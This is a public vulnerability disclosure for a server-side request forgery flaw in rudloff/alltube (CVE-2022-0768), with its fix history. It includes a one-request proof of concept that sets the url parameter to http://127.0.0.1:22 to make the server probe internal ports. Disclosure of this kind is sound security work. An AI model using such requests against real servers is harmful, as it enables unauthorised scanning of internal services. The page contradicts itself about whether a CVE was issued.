Server-Side Request Forgery (SSRF) in rudloff/alltube

2

Valid Reported on Feb 26th 2022

Description

Alltube takes URL from the query parameter and directly uses it in the youtube-dl command, It makes any unauthenticated attacker can perform an SSRF attack and pass internal hostnames in the URL parameter and obtain information about that service from the response.

Proof of Concept

```
GET /alltube/index.php/info?url=http://127.0.0.1:22 HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
Referer: http://127.0.0.1/alltube/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=qcnp4gcfj3ni5c02u60ivovj0l
Connection: close
```

Impact

This vulnerability is capable of internal port scanning and obtaining sensitive information about services on localhost and sending requests to them.

Occurrences

DownloadController.php L46

CVE

CVE-2022-0768
(Published)

Vulnerability Type
CWE-918: Server-Side Request Forgery (SSRF)

Severity
High (8.6)

Visibility
Public

Status
Fixed

Found by

Anna
@416e6e61
master

This report was seen 683 times.

We are processing your report and will contact the **rudloff/alltube** team within 24 hours.
9 months ago

We have contacted a member of the **rudloff/alltube** team and are waiting to hear back
9 months ago

Pierre Rudloff modified the report 9 months ago

Pierre Rudloff validated this vulnerability 9 months ago

Anna has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Pierre Rudloff marked this as fixed in **3.0.2** with commit **148a17** 9 months ag

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

DownloadController.php#L46 has been validated ✔

Sign in to join this conversation